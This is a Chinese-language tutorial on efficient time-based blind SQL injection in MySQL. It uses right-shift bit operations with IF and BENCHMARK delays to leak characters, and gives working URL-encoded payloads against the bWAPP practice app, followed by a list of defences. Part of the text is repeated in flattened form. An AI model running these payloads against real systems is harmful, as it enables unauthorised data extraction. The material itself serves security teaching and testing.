使用MySQL位函数和运算符进行基于时间的高效SQL盲注
字数 883 2025-08-18 11:37:42

MySQL位函数与运算符在基于时间的SQL盲注中的应用

1. 背景介绍

在2011-2012年间,研究人员发现许多基于MySQL数据库的PHP应用程序容易受到基于时间的SQL盲注攻击。但由于各种安全限制措施,传统的注入技术难以奏效。通过使用MySQL的位函数和运算符,可以开发出一种高效的盲注技术。

2. MySQL位运算基础

2.1 右移运算符(>>)

右移运算符将二进制值的位向右移动指定的位数。例如:

mysql> select ascii(b'01110010');
+--------------------+
| ascii(b'01110010') |
+--------------------+
|                114 |
+--------------------+
1 row in set (0.00 sec)

mysql> select ascii(b'01110010') >> 1;
+-------------------------+
| ascii(b'01110010') >> 1 |
+-------------------------+
|                      57 |
+-------------------------+
1 row in set (0.00 sec)

2.2 位运算在SQL注入中的应用原理

通过右移运算,可以逐位枚举字符串字符的二进制表示。对于ASCII字符(最多8位),每个字符最多需要8次请求即可完全枚举。

3. 基于时间的盲注技术详解

3.1 基本注入结构

使用IF函数结合BENCHMARK函数创建时间延迟:

IF(condition, BENCHMARK(delay_count, expression), 'false')
  • 当条件为TRUE时,执行BENCHMARK导致延迟
  • 当条件为FALSE时,立即返回'false'

3.2 逐位枚举字符的步骤

以枚举SELECT USER()返回的第一个字符为例:

  1. 第一位(最高位)

    select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false')
    
    • 如果延迟:第一位为0
    • 无延迟:第一位为1
  2. 第二位

    select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false')
    
    • 检查前两位组合(00或01)
  3. 后续位

    • 类似地检查第3-8位,每次右移的位数递减
    • 条件中的比较值需要根据已确定的位进行调整
  4. 完整示例

    • 通过8次请求确定二进制序列:01110010
    • 转换为十进制:114
    • ASCII 114对应字符'r'

3.3 实际注入示例

在易受攻击的应用程序(bWAPP)中的注入字符串:

  1. 第一位检查(TRUE条件):

    test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23
    
  2. 第一位检查(FALSE条件):

    test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23
    
  3. 第八位检查:

    test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23
    

4. 技术优势

  1. 高效性:每个字符最多8次请求即可确定
  2. 隐蔽性:基于时间的检测不易被传统WAF识别
  3. 可靠性:不受页面内容变化的影响
  4. 通用性:适用于各种MySQL后端应用

5. 防御措施

  1. 使用参数化查询(预处理语句)
  2. 实施严格的输入验证
  3. 限制数据库用户权限
  4. 监控异常长时间查询
  5. 使用Web应用防火墙(WAF)检测异常请求模式

6. 参考资源

MySQL位函数与运算符在基于时间的SQL盲注中的应用 1. 背景介绍 在2011-2012年间,研究人员发现许多基于MySQL数据库的PHP应用程序容易受到基于时间的SQL盲注攻击。但由于各种安全限制措施,传统的注入技术难以奏效。通过使用MySQL的位函数和运算符,可以开发出一种高效的盲注技术。 2. MySQL位运算基础 2.1 右移运算符(>>) 右移运算符将二进制值的位向右移动指定的位数。例如: 2.2 位运算在SQL注入中的应用原理 通过右移运算,可以逐位枚举字符串字符的二进制表示。对于ASCII字符(最多8位),每个字符最多需要8次请求即可完全枚举。 3. 基于时间的盲注技术详解 3.1 基本注入结构 使用 IF 函数结合 BENCHMARK 函数创建时间延迟: 当条件为TRUE时,执行BENCHMARK导致延迟 当条件为FALSE时,立即返回'false' 3.2 逐位枚举字符的步骤 以枚举 SELECT USER() 返回的第一个字符为例: 第一位(最高位) 如果延迟:第一位为0 无延迟:第一位为1 第二位 检查前两位组合(00或01) 后续位 类似地检查第3-8位,每次右移的位数递减 条件中的比较值需要根据已确定的位进行调整 完整示例 通过8次请求确定二进制序列:01110010 转换为十进制:114 ASCII 114对应字符'r' 3.3 实际注入示例 在易受攻击的应用程序(bWAPP)中的注入字符串: 第一位检查(TRUE条件): 第一位检查(FALSE条件): 第八位检查: 4. 技术优势 高效性 :每个字符最多8次请求即可确定 隐蔽性 :基于时间的检测不易被传统WAF识别 可靠性 :不受页面内容变化的影响 通用性 :适用于各种MySQL后端应用 5. 防御措施 使用参数化查询(预处理语句) 实施严格的输入验证 限制数据库用户权限 监控异常长时间查询 使用Web应用防火墙(WAF)检测异常请求模式 6. 参考资源 MySQL官方文档 - 位函数和运算符 bWAPP vulnerable application